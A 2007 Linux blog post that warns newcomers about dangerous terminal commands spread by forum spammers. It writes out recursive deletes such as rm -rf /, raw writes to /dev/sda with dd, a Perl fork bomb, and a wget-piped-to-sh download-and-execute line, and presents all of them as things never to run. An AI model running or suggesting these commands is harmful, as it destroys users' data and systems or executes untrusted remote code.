Some Dangerous Commands

November 23, 2007 | By Naman Bagga | Filed in: Linux.

This post is to warn all noobs.If you don’t know what a noob is,perhaps you might be one.Noob is short for newbie.If you want a complete post dedicated to explaining noobs, visit Vivek’s Blog(The Tech Nut).

In one of my recent posts,I had linked back to some good Linux forums like LQ and Ubuntu Forums and had asked you to visit these forums for some additional help.But all people are not as helpful as I am.There are a few spammers misguiding people who ask questions on the forums.Although such spammers are banned from the forums,you might come across one someday.

Ubuntu is one of the most user friendly Linux Distros.You will rarely need to use terminal.However Linux Pros like using the terminal and even noobs find it fascinating to use a command line.So here are a few commands with their description which is explanatory of the fact that they are dangerous.

The following are statements which recursively delete files-

rm -rf /
rm -rf .
rm -rf *

These three statements are to delete all files,delete current directory and delete visible files in current directory respectively.

mkfs is a command used to format a partition.Thus these commands should never be executed –


I would recommend you to use a GUI to format partitions if you ever need to do so.

Another hazardous thing you can do with the terminal is ‘Block device manipulation’.It causes raw data to be written to a block device. Often times this will clobber the filesystem and cause total loss of data.This is what the command will look like-

any_command > /dev/sda
dd if=something of=/dev/sda

Some spammers make you trigger a Forkbomb.In other words it executes a huge number of processes until system freezes, forcing you to do a hard reset which may cause corruption, data damage, or other awful fates.In Bourne-ish shells, like Bash,it looks like-


and in Perl-

fork while fork

I would like to remind you that all these commands should NOT be executed.
You should take preventive measures to combat Tarbombs and Decompression bombs.Always extract archives in a new folder and don’t download archives from untrusted sources.

Don’t execute all shellscripts given to you.It may contain a malicious command.This is what the code will look like-

wget http://some_place/some_file
sh ./some_file

Which is same as writing-

wget http://some_place/some_file -O- | sh

The list of hazards is endless.Someone might ask you to compile some code.This can be a good way to hide the commands he wants you to execute.Thus the best way to be safe is to understand the commands you execute.If you feel that your problem is not related to the command you are being told to execute,be cautious and ask for help from other sources.

One comment on “Some Dangerous Commands

Leave a Reply

Your email address will not be published. Required fields are marked *